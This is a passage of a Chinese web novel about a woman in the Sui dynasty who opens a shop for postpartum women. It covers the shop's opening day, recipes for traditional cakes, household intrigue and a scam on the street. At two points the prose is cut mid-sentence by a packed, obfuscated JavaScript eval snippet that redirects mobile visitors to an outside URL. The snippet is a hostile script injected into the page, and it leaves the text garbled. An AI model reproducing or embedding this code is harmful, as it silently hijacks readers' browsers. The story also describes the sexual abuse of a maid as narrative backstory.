高夫人正想如何启齿,见有这般识趣递戏台子的人,出声炫耀。 “何也!” 诸夫人闻此,群聚而至。 身形尚可调试,然腹上之纹,实令他们百般苦恼,纵使淡化亦难做到,更别说祛除了。 见众人环伺,高夫人续道: “诸位且看,我今个只敷了面脂,未施铅粉,肌肤依旧白皙细腻,妊娠斑也没了。” 众人争睹,果如其言,场面一度哗然。 “她可有稀罕玩意呢!”柳夫人助攻道。 虽高夫人怒其不争,但产后用物皆有赠予密友,柳夫人用之效果甚佳,遂帮腔道: “我亦抢了她一罐,我这面上的孕斑亦无!” 众人又纷纷朝柳夫人瞧去,见其言不虚,越发好奇。 见吊足了众人胃口,高人才开口道: “这是我一食客捣鼓出来的,我见效用这般好,一早便想造福姐妹们了。 也不知你们喜欢何种款式花样,便盘了个小店,明个开张。 你们去瞧瞧有无用得上的,别的不说,对产后恢复是极好的。” “不是产后的,就不能去瞧了?”一位夫人开玩笑道。 “大家能去捧场最好了,这祛斑的东西,不是产后也能用啊,里头还有些神奇物件,你们去后便知。” 众人的胃口又被高夫人吊了起来,都觉得明日定要去瞧瞧新鲜玩意! 宣阳坊内,王娘子也通知了一众好友。 有生养过的,亦有没生养过的,听之皆甚为好奇。 王娘子还将她们引进内室,亲身示范。 众女子见之,有胸的图舒坦,无胸的图漂亮,皆向往之。 更有想要巴结奉承王通的人,听闻此消息后,纷纷让其夫人打听是何铺子,去瞧瞧王娘子为何喜欢,好投其所好。 十几日不得闲的莫母,帮忙接生了些官宦人家,今个满月宴,她被家中现有孕妇或刚刚生产后的人家,围得水泄不通。 或向她咨询产后诸事,或同她邀约时日,求她帮忙接生,莫母亦趁机宣传了一波。 尤其是难产后被莫母救回的人户,皆言,虽在月子中,不能亲至,但定派管事前往支持。 市丞程大人大嫂,念着小叔子平时多有照顾,闻其嘱托,亦是欣然前往。 还拉上来手帕交,陪同一道。 平康坊,翠帷廊内 当日宣传后,莫婤便回了高家。 待吃瓜群众散去后,那闹事的婆子是被杨大姐悄悄接走的。 就是当日脸有大痣,心术不正,最后被拧着耳朵走的郭大的媳妇。 这闹事婆子是她婆母,郭老太。 郭老太显然没他儿子精,她儿子都知不能亲自出马,而是支使萧哥儿去问,她却被人忽悠着打了头阵。 不过这郭老太也是彪悍,翌日能动弹后,就爬起来,找撺掇她的那几家碎嘴婆子,干仗。 打一架不算完,次日又打,后日再打,足足闹到了现在。 一个婆子掉了颗门牙,一个婆子折了条手,还有个婆子彻底下不来床。 这般阵仗,让翠帷廊街坊邻里拿着莫婤的宣传册,上蹿下跳地吃瓜,无意间将容焕阁的地址、开张位置都记上了心,无形中又做了波宣传。 这不,左邻右舍众女子,三三两两,相邀同行,欲明日前去一探究竟。 28.红曲定胜糕 高府满月宴结束后,高夫人欲前往秋曜坊,鼓舞众心。 莫婤闻及,央高夫人等她半个时辰,拉着小厨房的倪大娘做“定胜糕”。 大隋是没有定胜糕的,传说是岳飞在抗金战争中,百姓送来了形似定榫的糕点,中间夹着战术纸条,岳飞据此术大败金军,而得名“定胜糕”①。 找赵妈妈拿了早就定制成型的枣木糕印,置于滚水中,煮沸消毒。 让院中捣糍粑的罗大娘,帮着将粳米、糯米、红曲米一同倒入石磨碾成粉。 “莫小娘子,这次的糕点我们有份吗?”罗大娘奋力推磨的同时,还不忘了口吃的。 “切还说我,你不也馋嘴儿?”一旁靠着砧板,瞧莫婤和倪大娘做红豆沙的祝大娘讥讽道。 “你这死婆子,上次不是我分你口,你能吃上?”罗大娘很是气愤,推磨的速度都快上了两分。 “那是你分的吗?明明是我抢的!你不要脸!”祝大娘也来了精神,跳起脚说道。 “你也知道你是抢?到底谁不要脸?”罗大娘拉着磨绳都快飞起来了。 本来还想劝的莫婤,见这拌嘴还能提高效率,也沉默了。 待罗大娘将米都磨成细细的粉后,她方承诺到:“明日若得胜归来,我出钱给大家蒸一笼。” 众人听罢喜不自胜,谁不知莫小娘子做的糕点最好吃,连夫人都喜欢,帮忙亦更卖力了些。 过筛后的细粉中,加入蜂糖,搅和醒面。 待面发涨后,将红豆沙裹入,复镶入些松子仁,搓成小剂子。 捞起定胜糕印,置于灶台,徐徐炙烤,待燥后,用猪鬃刷一层薄薄的杏仁油。 米粉剂子塞进糕印后,摁实,以细刃轻拂,平整其面,上蒸笼大火蒸小半个时辰。 至糕面结拢成熟取出,翻扣在案板上,就得了“定胜糕”。 装了满满一函盒,高府一行人驱马,至秋曜坊。 坊中众人方用完膳,莫婤又为她们添了道甜点。 大家围桌坐在漆红木圆桌上,一手举青梅酒,一手捧定胜糕,举杯碰饮: “开业大吉!” “噼里啪啦——” 随着鞭炮声响,锣鼓喧天。 朱绸轻曳,霎时红退,门上牌匾,金漆字现——“容焕阁” 叶掌柜和樊掌柜,登二楼半廊飞檐,撒金银纸,寓意招财进宝。 踏着金银纸铺成的毯,前来捧场的人纷纷涌入。 一入内,先是闻到了淡淡草本木质香,又被映入眼帘的雅致精美布置吸引,接着铺娘们热情上前招待。 主顾中,有早早了解过,有备而来的,如王娘子之流。 王娘子唤的三五好友,径直两两挑起来。 唯一肩绕披帛,头戴金香宝珠钏的女子很是害羞,见铺中多为生养过的妇人,躲在王娘子身后拉着她,迟迟不敢入内。 “琇姐儿,不怕,你看她们都挑上了。”王娘子被拽着,寸步难行,轻哄道。 正迎完一批客的春桃见状,忙主动迎上前去,轻声询问。 见好友鼓励,铺娘和善,琇姐儿终是跟着来到了挂着胸托的墙前。 春桃瞧着琇姐儿左顾右盼,还是紧张,便拉了一旁的帷幔,挡住了他人的视线。 琇姐儿果放松下来,细细翻看春桃推荐的花样,选了两个款儿。 见她也不知自己胸围几何,便请她微束紧襦裙,春桃眼量后,给她选了两个尺码。 而知道自己尺码的王娘子,爽利地拿了两件。 将选好的衣物放入一旁备好的提盒内,阖上盖子,春桃欲领她们上楼试衣。 听闻此间能试穿,里头还有铜镜,王娘子更是满意,扯了琇姐儿就要上楼。 琇姐儿听闻还要当场试,更忐忑了,上楼的腿都在打颤。 王娘子堵在后头跟着,见琇姐儿这般可爱,忍笑得十分辛苦。 步入二楼,上层的熏香是能让人放松凝神的沉香,中间还夹杂着一丝肉桂的甜,让紧绷的琇姐儿平复了些许。 又见是在屏风遮挡下试穿、欣赏,终是彻底放下心来。 但当王娘子非要同她挤一处屏风试时,她方知,自己还是放心的太早了。 “你没穿对,我帮你。” “不要,有绣娘!” “我们亲近些。” “不要你亲近,手拿开!” 平日间轻声细语的琇姐儿,被王娘子逗得声色渐洪。 照了铜镜满意后,正衣出来的她,脸通红,心中暗自发誓,下次定要自己来。 除了王娘子这般知其用的,更多是对容焕阁一无所知的。 铺娘们便领着她们缓步徐观,同时介绍各种产品的功效。 铺娘江晴,就是赵妈妈家的晴姐儿,本是带着两三个高府友人参观讲解。 待从收腹带讲到太乙舒腰带,带笑回头时,身后竟渐渐跟了一溜人。 晴姐儿见此,心中振奋,亦不扭捏,朗声续谈。 讲到胸托时,陪着娘子来的男客们,有脸皮薄的,羞红了脸;有腼腆的,掩面逃了出去。 众娘子们好不容易瞧见自家官人窘态,都乐呵呵的。 “有辱斯文!” 忽闻一道不合群之声,晴姐定睛瞧去,亦是一妇人。 此妇人华袍加身,发髻高耸,插银鎏金花树钗,戴金串琥珀耳珰,淡唇利眸,略显刻薄。 瞧此妇人之体态,应是生养过的,孤身前来不先体会产品利好,反而质疑礼节。 晴姐儿等人都是培训过的,用词精准,只描述产品好处,如减痛、便于疾行等,断没有低俗无礼之语。 况且隋朝时,民风开化,也有卖女子两当的铺子,胸托只是在其基础上改得更舒适。 见此人这般说,已欲购求的夫人们,都有些动气。 “当众喧哗,尔最辱斯文。” “哪儿来的土货,泥古不化。” “你是从祖宗的坟里才爬出来的?” 言词一个比一个犀利,晴姐儿见那人气得眼发红,心中暗爽的同时,不住劝自己:和气生财!和气生财! 想到此,忙开口控局:“诸位别动气,我继续介绍别的新鲜玩意。” 说罢,先端出歉疚的姿态,对着那位夫人歉笑后,边往里走,边朝一旁刚送完客的紫烟使了个眼色。 紫烟从前在高大人处当差,没少同这些迂腐之人打交道。 更何况此等情形都有被小东家压中,培训过,自不会露怯。 心中敬佩莫婤有预见之能的同时,轻步上前,低声安抚: “夫人先别动气,观您亦曾育子,定知个中艰辛,我们女子为家室绵延、生儿育女,还不能让自己舒坦些……” 最后,这位夫人走时,怀中揣了容焕的药材香囊,手中提着个用桑皮纸做成的袋子。 袋上印有一佳人侧颜,轮廓旁是容焕二字。 纸袋中是一松木匣,匣上亦刻有容焕的标志,匣内整齐放置着她买的全套,胸托更是拿了两件,还是紫烟推荐的高贵月牙白和庄重官正绿。 幸而,因是第一日开张,秋曜坊众人恐铺娘日不暇给,皆来帮 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高夫人苦口婆心道:“一是要予手下展现之机;二是放权,信赖他人,自己干只会累死。” 听闻高夫人这般教她,她想着秋曜坊众女子这般干练,遂作罢。 莫婤正浑身刺挠着,一旁眠床上的小公子亦哼唧起来。 “应是饿了。” 高夫人听了,屏退众人,足足过了一盏茶的功夫,才又将她们唤进来。 一面捶着酸软的手,一面同莫婤八卦起来: “张姨娘不是又怀了,她前头的儿子径直丢给奶娘去,日日痴缠着官人。我不信他俩还能再干点啥?” 周妈妈亦在一旁愤愤补充: “我昨个去瞧,那娃都饿得哇哇哭了,奶娘还在啖食碎嘴,理也不理。我进去撒了通气,姨娘听了原由也不动气。” “她只有勾不着官人时,那孩儿才能在她手中过一道,官人一去就又丢开了。” 高夫人讽道,“你只当官人不知?他都不管,断不敢来同我说的。” 莫婤尖着耳朵吃瓜,也不插话,只在心中暗骂:只管生不管养的垃圾玩意! 见高夫人还揉着手,复问道:“阿姆手怎这般累?” “方才拧了一下。”高夫人不好意思道。 已喂养这般久,早就熟练了,今个可能亦是有些心神不宁,竟还扭了下。 莫婤闻言,摸了摸,见没伤着筋骨,唤丫鬟从小厨房放冰块的凌阴处取了些,用绣帕包好后,给高夫人冰敷。 嘱其敷上一刻钟即可,两日后若再痛,需换热疗。 高夫人听后自应下,还同莫婤抱怨道:“这小子见风长,抱着太累。” 又说起满月宴当日,她不过抱着给众夫人炫耀了一会,手就受不住了,只好郑妈妈代劳。 只是郑妈妈年纪也大了,她亦不想磋磨下人,还念及日后要带小公子出门游玩,难道都得众人轮流抱着? 小公子虽不娇气,但每次换人,都要哼唧两声,适应一会,高夫人都替他累得慌。 提及此,莫婤忽而想到早就有计划的婴儿车,便对高夫人道: “小公子现睡的眠床,只需将其改得更轻便,再加上轮子,想来便能推着四处走,咱们也不受累。” 莫婤将心中的想法娓娓道来,一面说,还一面拿着兔毫笔勾画着。 高夫人听罢,亦觉有理,即刻叫来了高府木匠。 同其沟通完细节后,府中吃瓜回来的杏雏,为高夫人带回一则消息。 29.龙游发糕 昨日,见高老夫人在满月宴上多用了些,恐其不适,高夫人遂遣了杏雏去问候。 杏雏同高老夫人处的喜郝交好,吃瓜姐妹花相见,自是将府中众人都八卦了个遍。 因着高老夫人处不常有劲爆瓜,今个出现了,喜郝是吃得明明白白。 今晨,府中素来端着人淡如菊人设的卫姨娘,突然来了老夫人处。 话还没说上两句,就猛地跪到了老夫人跟前,求老夫人让她帮着夫人管家。 幸而,老夫人还没老糊涂,仔细一问才知,她竟还没问过夫人,这是要让她腆着老脸去帮她要! 老夫人放权多年,自不会为个姨娘去夺了儿媳的脸面,就算这个姨娘是自己侄女。 更何况儿媳才生了嫡子,方出了月子,正是要整顿府邸,找人立威的时候。 前些个日子才惩治了刘姨娘,压了张姨娘,谁知自己这最会装的侄女竟也忍不住出来裹乱。 难道是得了失心疯? 高老夫人想不明白,直直瞧着卫姨娘。 卫姨娘顶不住姑母盯白痴一般瞧她,便道出了始末。 因着隋文帝崇尚节俭,连皇帝日常都“所食不过一肉①”,下面大臣自也不敢奢靡。 而杨广上位后,喜好大摆宴席,今年秋日去游历江都时,在船上时便日日同众人饮酒享乐。到了夜晚,更是灯火通明,鼓乐之声闻于数里之外②。 这般风气,引得众臣子纷纷效仿。 高府正好遇上这节点,自要紧跟新帝意志,将满月宴办得轰轰烈烈。 卫姨娘自嫁入高府,还没见过昨个那般气派的阵仗,心向往之。 见到礼单冗长,亦有四色,但多为八色③,俱是翡翠琳琅、珠玉锦绣、水陆珍奇……念着若管家,定能细细欣赏,遂来求老夫人。 “你个猪脑子,别以为我不知道你盘算什么,滚。” 高母听罢,戳着卫姨娘脑门骂了她后,将她赶了出去。 莫婤吃完这瓜才知道,卫姨娘竟是高老夫人的亲侄女,高大人的亲表妹,算小功服,可没出五服④。 又是个不要命的,近亲结婚,她的苦日子也在后头啊。 思及此,莫婤又在心中规划起如何将婚前婚后、产前产后的科普,潜移默化地融进容焕阁。 还没想到法子,便听高夫人嗤笑一声道: “她也不是没管过,一团乱麻,老太太是不想再给她收拾烂摊子了。” 见这段莫婤也不知道,杏雏拉着她到一旁轻声八卦起来: “卫姨娘才来就抢着管家,不会算账还刚愎自用,被下人瞒着不知挪了多少钱去,最后都是老夫人给她补的缺,不让她管了,她就端着一幅……” 吃完瓜,惆怅一番后,莫婤见午时将至,便想着给容焕阁众人做些吃食。 念及要符合容焕阁的定位,莫婤决定做龙游发糕。 又要用夫人院中的小厨房,虽此糕点无需众人帮忙,但她怕见着众人渴求的眼神。 便决定,也不等晚间容焕阁的结果了,先做了一笼定胜糕请她们。 待众人细细品味着定胜糕,她就做起龙游发糕来。 龙游发糕的历史记录始于明代,据《龙游县志》记载:“传明代民间有发糕,因风味独特,制作精美,又音谐‘福高’,象征吉利,遂成节日佳品⑤。” 怕龙犯古代忌讳,莫婤便同众人说是“蟠游发糕”。 在细腻的米粉中裹入红糖、猪油、火腿、甜醪糟等佐料,搅成糊糊。 在蒸笼内壁插上些竹签,倒入糊糊,文火加热至发酵。 之后再次加入甜醪糟,静待发酵至满笼后,大火蒸上半个时辰,直至发糕熟透。 因着开业大吉,莫婤还洒了些红枣、青梅干做装饰。 小厨房众人看着膨胀松软的龙游发糕,顿觉更饿了些,分明方才狼吞虎咽下定胜糕。 “祝大娘,烫!!!” 莫婤正用纱布包着,往提盒盘内装,一扭头见祝大娘又在偷吃。 “她个老婆子皮糙肉厚,烫不着。” 今个连豆腐西施,都被带得戏谑起来。 一旁的罗婆子虎视眈眈,见祝大娘抢到了,正跟倪大娘炫耀时,趁其不备,螳螂在后般地从她手中夺了过来。 莫婤本就给她们留了一笼,见她们抢得这般起劲,只轻声告知了厨房其余人,便盖上盖子,挎着提盒,劳烦赵妈妈帮忙送去。 自然,给赵妈妈也送了一盒。 捧着龙游发糕进了夫人院中,继续同她品糕点、吃酸奶、闲聊,打发时间。 因着隋朝只有“蒸饼”、“糍粑”等物,从未见过发糕,赵妈妈刚到了容焕阁,方打开提盒,就吸引了店中的主顾们。 虽不好意思明着要,但那暗戳戳打量的目光因实在是多,亦让众人感受到了热度。 一体态略显丰盈,簪着翡翠细头花钗的妇人,手中抱着一蝙蝠纹樱草褓衣,四角还挂了辟邪的桃木剑和五帝钱。 她夫君跟在身后,双手皆携物,包囊累累。 一看就是才出月子,因着太久没放风,在东市买疯了的。 此时闻着龙游发糕,她才惊觉肚儿中空落落的。 一上午走街串巷,这边瞧瞧西域景,那边看看舞狮杂耍,独没有买口吃食,填巴下肚儿。 念及此,突然就饿慌了心,还有些头晕目眩。 正带着她的晴姐儿,转头欲同她介绍,就见她面色苍白,直翻白眼。 手中孩子也抱不住了,直往下掉。 晴姐儿飞快躬身捞起孩子,未让他掉到地上,但这妇人也要站不稳了。 妇人的夫君,双手还抓着东西,吓得手足无措,不知该作何反应。 幸而铺子中央的毕医女亦发现了她的不对,疾步上前将她扶住,拖着她坐到了一旁的蒲团上。 秦医女拿出随身携带的银针,为其施针,口中喊着: “春桃,快把蟠游发糕拿来。” 因着银针刺激,这妇人还未完全晕厥,配合着吃下了龙游发糕。 不多时,脸色转润好了起来。 感念众人的同时,亦觉这蟠游发糕神奇,难道真是蟠将她游走的三魂七魄送回来了? 越想越觉是神迹,她在铺子中买了两套全家福的同时,还想着回家定也要宣传一番。 在铺子中见证了此事的顾客们,更觉这个铺子信得住,卖东西的同时,还能救人。 还纷纷向铺娘们打听起,这是个什么神奇的吃食。 铺娘们也没法回答,还是毕医女反应快,对众人解释此为产后女子的大补之物。 众人听罢更感兴趣,纷纷询问卖否?何处能买? 怀中的婴儿们不知是到点饿了,还是被龙游发糕诱惑了,竟不约而同地哭起来。 有马车的大户人家自能上马车哺乳,但没马车的普通人户就没有法子了,纷纷欲离开。 见客人都要流失了,也恐饿着婴孩们,紫烟忙请示了两位掌柜,同她们一道带着众人去了后院的空屋子。 空屋子还没布置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996981|146029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,只随意摆放了几个蒲团。 怀中孩子哭闹得凶,她们也没有大户人家那般挑剔,都是女子,都要生养的。 有那害羞的,便坐在墙脚,背对众人喂;有那着急的,方进了门,就开始宽衣;更多的,是找了个蒲团,松了口气坐下,慢慢喂的…… 见着她们想要找个哺乳之地都如此艰难,紫烟几欲流下泪来,心中更觉女子艰难。 紫烟是家生子,因着相貌好,从小她阿娘就不让她浣衣具膳,说是会让她染上寒酸气和烟火气,甚至托了识字的管事,教她认字。 待她再大些,懂事了,阿娘便日日同她说要将她塞入高大人的院中当差,要她瞧准时机,成为通房丫鬟,再爬上姨娘的位置,做个人上人。 自小在几个兄弟姐妹中,阿娘便待她最好,甚至好过长兄,因此她坚信阿娘不会害她。 而且她亦是从小看着主子们锦衣玉食、珠围翠绕,很是向往这种一家人不会因着一个铜钿而打起来的生活。 况且府中张姨娘也是从丫鬟爬上去的,念及此,她便心甘情愿顺从了阿娘的安排,进了高大人院中当值。 一日,高大人吃了酒,有些醉了,她瞧话本中多是这般时候成就好事的。 她便细细打扮了一番,欲飞黄腾达。 谁知或是因着她梳洗打扮废了些时刻,竟被带她的大丫鬟茵儿姐姐抢了先。 茵儿姐姐喜不自胜地爬上了高大人的床,门外的她听着茵儿姐姐娇俏挑逗大人的声音,恨得牙痒痒,却也不敢再闯入。 只是因着气愤懊恼,也是惩罚自己下次不能再失去这等好机会,她便躲在门外偷听。 听着茵儿姐姐的欢愉声,猛地变成了凄惨的痛呼声。 然后,茵儿姐姐开始哭,开始叫,嘴中一直求饶。 茵儿姐姐哭声越来越凄凉,声音从黄鹂鸟的清亮,喊到了乌鸦的嘶哑,院中进进出出几波人,皆无动于衷。 她躲在门后的柱子下,吓得泪流满面,也不敢去救,更无力跑开,就这样待到了天亮。 而茵儿姐姐就这般一直哭,一直喊,痛了整晚。 当高大人走后,衣不蔽体的茵儿姐姐,踉跄着跌了出来,身上青红斑驳。 受了这般撕心裂肺的痛,她却也没能成为姨娘,反而被赶出了高府。 自此,她生怯了。 每当她有做姨娘的心思,茵儿姐姐的惨叫声就回荡在她耳边。 她不知道,更可怕的还在后头。 一日高大人在月华楼吃了酒,让她帮忙去买醒酒汤。 路过烟柳巷时,她无意瞥见一个背影很像茵儿姐姐的人。 她没忍住,跟了上去,那人果然是茵儿姐姐。 她正欲上前询问,竟发现茵儿姐姐在烟柳巷接客。 那些脑满肠肥、大腹便便的客人,毛手毛脚甚至等不及进屋,就扒开了茵儿姐姐的衣服。 下一刻,茵儿姐姐的惨叫声时隔多日又在她耳边响起,但那些客人听着却越发的兴奋。 她吓坏了,忍着恶心忙往外跑,一不小心竟踢到了身旁的花盎,发出了响动。 她感觉有人在追她,她拼命跑,钻狗洞,穿小巷,挤入人流,终于甩掉了他们,也至此被吓破了胆。 在府中见了高大人,她更是害怕,根本生不起半点心思。 到了要嫁人的年纪,她娘见她不努力,催得更紧了。 她索性求了这份差事,断了她娘的念想,也让自己好过很多。 “姑娘怎么哭了?” 30.遇见碰瓷 “无事不可过也!” 一旁的大娘,见紫烟默默流泪,心疼安慰。 大娘手中抱婴,外披青骊兔裘,内着胭脂粉窄臂宽袖襦,因在哺乳期,还扯成了一字肩。 “对,都过去了,是我矫情。诸位之伟,令余动容。” 说罢,紫烟利落地拭掉了泪。 见紫烟这般自讽,大娘一手托稳婴,一手轻环,将她抱住,柔声开解: “不,愤抒方能前视!” 只是轻轻的拥抱,竟让她仿佛沐浴在春日的阳光里,温暖安心。 待整理好情绪,众妇人也相继哺乳结束,紫烟又将她们带了出来。 她们也不急着归家了,皆细细看起来,大多都有收获。 更让紫烟惊讶的是,她手中陆续被塞入拭泪的手帕、甜嘴的蜜饯、逗乐的泥塑,甚至还有一个玉笋签,上云: “心有千结,一笑可解” 虽害羞被这般多的人瞧见窘态,但更多的是暖心与释然。 外面的天地这般宽,世间的女子这般善,何以回望不堪。 这边大家在卖力走货,同时经历惊心动魄、暖心瞬间;那边莫婤也终于下学,拉着无忌匆匆往东市去。 正急着赶路,却被一旁巷子里窜出的胖婆子撞了个仰翻。 见那分明下盘稳健的婆子,径直往地上躺,原本能被无忌扶住的莫婤,捏了下他的手指,亦倒在地上。 “哎呦——” “啊——” 莫婤和那婆子的声音,同时响起。 那婆子一声比一声嘹亮,莫婤则一声比一声凄惨。 “哎呦,娘!” 巷子中,又跑出个包头妇人,将婆子扶起。 见状,莫婤也让无忌将她扶了起来,先发制人,大声嚷道: “阿兄,我头好疼,这婆子将我头撞坏了,她好壮。” “哼,我去官府叫人!” 无忌亦配合道,亮了剑作势要将她们送官,周围人见有热闹瞧,皆欲围拢。 莫婤都构思好对骂的词了,却见妇人扶起婆子,一溜烟往巷子里跑了。 他们二人觉得不对劲,若为讹人,怎放弃得这般快?遂悄悄跟了上去。 见她们七拐八绕,进了一处角院,落了锁。 这院子周围长满了杂草,二人更觉可疑,还没等莫婤凑近查看,就被长孙无忌捂嘴躲到了拐角处。 原是从这院子里走出个壮汉,手中拿着块脏抹布,左顾右盼,似是在找他们的踪迹。 开着的院门内传来了一两声孩童的痛呼,和女人的叫骂。 长孙无忌让莫婤去报官,他留在这儿守着。 “万一,不是?”莫婤怕无证据,官府不信她一个孩童的话,派人缉拿,“不管了,我先去,大不了扯高府大旗。” 见那壮汉进去时还有些狐疑,恐他们转移,莫婤还是决定动身。 无忌从怀中掏出一枚印信,上面刻有长孙家族徽记,同莫婤道: “若无人愿来,用这个,不是我担着。” 听及此,莫婤揣好印信,捯饬着小短腿,飞快地去了。 带着官差回来时,不见长孙无忌,却听见院中打斗的声音。 她忙领着他们进去,见是两个膀阔腰圆的大汉打得不可开交。这时,无忌方从院中假山后走了出来。 见他安然无事,莫婤松了口气。 余下之事自有官府接手,径直将他们撵走,就算是长孙无忌也不例外。 耽误了近一个时辰,再到容焕阁时,已经打烊了。 莫婤只好同无忌回了平康坊,与他道别后,又去了秋曜坊。 一进屋,见坊中众女子皆红光满面,笑靥如花,方放下心来。 铺了蒲苇席,中央点了炭盆,众人围坐着数铜钿。 一个两个三个……一贯两贯三贯…… 刨去今日成本,竟足足赚了十吊钱。 莫婤一早便同她们商量好了,她们的工钱同工作量挂钩。 绣娘按件拿钱,医女药童按份拿钱,铺娘有底薪,提成则按销售额拿。 当初为了同她们解释清楚,莫婤可是花了牛鼻子劲。 大家知道是公平的多劳多得,靠自己本事赚钱,很是满意。 因而今日生意这般好,大家都乐开了花。 待大家乐呵完,莫婤便问是否有遇困难,以及容焕阁有无需改进之处。 秦医女率先提出:“今有人在铺中,忽现晕厥。” 莫婤听罢忙问其始末,待众人复述过程后,她猜是发生了低血糖。 坐月子期间活动有限,古时更提倡勿下床、不见风,因此当出月子活动增加时,若没及时补充能量,就会导致血糖下降。 像今日这女子,一直逛一直乐,血糖降得更快,便出现了低血糖。 当然,因她并没有见着此妇人,她只是按最大可能性推算,但这亦为她们敲响了警钟。 她们铺子中,多为产后刚出月子或是怀有生孕的女子,需要提供能瞬时补充能量的东西如糖水、甜食,还要注重保护她们的安全。 同吴娘子科普了一些生育方面的知识,让其多加巡视。 她又与二位医女相议,轮番在容焕阁驻扎,再讲些生产育之理,当然工钱也多给一份。 二人见识了今日之危,本就有这般打算,见还能多拿份钱,更是欣然应下。 莫婤还欲,日后同她们共相商榷产育之理,最好能整理成册,甚至撰写成书。 二人闻及还能著书,流传千古,更是来了兴致。 正当她们欲深入论之时,紫烟犹犹豫豫,咬咬牙还是开口了: “后院空的屋子小东家有安排吗,能不能专腾出一间给女子哺乳歇息?” 莫婤听罢更觉惊喜,她虽一早便有此打算,但古时女子能这般有预见性地提出“母婴室”的概念,颇为不凡。 她肯定地点了点头,鼓励紫烟继续说。 “可以同试衣区一般,放些屏风和蒲团,让女子们能……” 紫烟断断续续言明心中之念,虽磕磕绊绊,但大家都耐心听着,无一人敷衍或不耐。 她更有信心了,声量都大了些。 “还可以做些吃食放里面卖!”春桃待紫烟说完,随即陈己见。 秦娘子想到今日那几欲晕厥的女子,深觉有理,亦加入了讨论。 最后,众女子围坐在一道,各抒己见…… 莫婤聚精会神地听得津津有味,从中学到了很多,更看到了古代女子们不输于现代女子的智慧与光芒。 烛光点点下,似有泪光在她们眼中闪烁,但定睛看去,那是时代无法蒙尘的星光。 周妈妈揽住莫婤,将她的小脑袋靠在自己肩上,轻声说: “你瞧,尔等皆为你之良伴!” 平康坊,右骁卫将军府 “呦,我们文曲星回来了。” 无忌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009959|146029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚进府,长孙安业就出声嘲讽。 他面容驼红,披着狐裘,衣襟微敞,长发半束半散,手中抱着坛酒,似在效仿魏晋风骨。 见此,无忌懒得同醉鬼断理,绕开他便要离去。 “你个小兔崽子,同你说话呢?” 长孙安业就要冲过来,抓他的前襟,将他拎起来。 无忌动也不动,待他快要扑上来时,方一个闪身躲过。 他便重重地摔在了地上,酒壶砸了脸后滚落,碎了一地,酒飞溅,喷了满脸。 “哎呦,少爷。”路过的老管家忙将他扶起。 无忌亦上前帮扶,语重心长道: “三哥这般,如何让大哥放心。” “你少拿大哥压我,他活着就压我,死了还要压着我?” 长孙安业酒后吐真言, “你这小娘养的畜生,就会讨大哥喜欢,现在他死了——啊” 话还没说完,长孙安业就被人狠狠抽了后脑勺。 “你老子我还没死呢!” 因身子不适,昨日长孙晟未能等到长孙无忌回府,便歇息了,听闻无忌回来,正欲问他昨日高府情况。 一出来便听见这番诛心言论,直戳他肺管子,遂让老管家提了桶深井水,给他醒酒。 冬日深井水彻骨寒凉,将长孙安业泼醒,也将他冻得直哆嗦。 长孙晟看着这个日日喝酒不争气的儿子,也不废话,直接请家法。 老管家翻出了泡了酒的羊鞭,长孙晟亲自动手,抽了他十鞭。 无忌不忍看兄长受罚,在他的痛呼声中回了母亲的院中。 “他又来招你了?”高氏拉着长孙无忌,心疼地问。 “我没吃亏。”无忌平静道,觉母亲手有些凉,将搭在紫檀雕花屏风上的鹤氅,披在她身上。 他母亲虽是继室,却也是父亲明媒正娶的,何来小娘一说? 这般无礼,定是要让他吃苦头的。 “自你大哥去后,他是愈发没规矩了。”高氏皱眉轻呵。 长孙行布,是长孙无忌同父异母的兄长。 同长孙安业嘲讽长孙无忌是文曲星不同,长孙行布是真正的武曲星下凡。 三岁识兵器,五岁习弓马,八岁通武艺,十二岁解兵法,十五岁胜教头,十八岁领军征伐。 多谋略,有父风,好经史,工于武才①。 仁寿四年(604年),杨谅起兵造反,长孙行布据守城中,关闭城门拒外出的杨谅进入并州城,城陷后遇害,为国亡躯,时年二十八岁②。 杨广得知后,颁诏书褒奖,追赠仪同三司,还荫蔽其弟长孙恒安,以其兄的功劳授官鹰扬郎将②。 或是珠玉在前,或因天资不够,长孙恒安一直未有杰出表现。 长孙晟见二子恐难以挑起长孙家大梁,便欲培养三子。 但三子长孙安业,从小在大哥的庇护和阴影下长大。 待大哥去后,在家中张牙舞爪,在府外荒淫无度,日日笙歌夜宴,偎红倚翠,醉生梦死。 长孙晟在勾栏酒坊抓过他好几次,揍也不改。 眼瞧着这个儿子也废了,他只好培养才十一二岁的长孙无忌。 但无忌更擅文,也更喜文,长孙晟常常老泪纵横,恐后继无人。 无忌知父为难,奈何自知武学天赋属实一般,昨日同李家二郎交谈,甚觉自己竟不如小五岁的孩童。 因而,更坚定了要走文治的心。 31.曲末索饼 “哥哥,你给我带了什么好东西?”观音婢欣喜地疾行入内。 闻及妹妹呼唤,长孙无忌收回心神,让一旁的幞头管事将食盒提了出了。 里头赫然是一块酸奶捞奶油松饼,是今日上学时,莫婤同王娘子和他们兄妹皆带了一块。 前些日子,幞头管事抢到此物后,自不敢私藏,同观音婢和长孙无忌分享了一番。 昨日,当莫婤随意拿出此物来招待他们时,他便知道了,坊中众人追捧的莫小娘子,就是莫婤。 但他自不会去说破,凭自己本事赚钱,有何不好? 念及此,他便让幞头管事,日后定要去支持,多买几份。 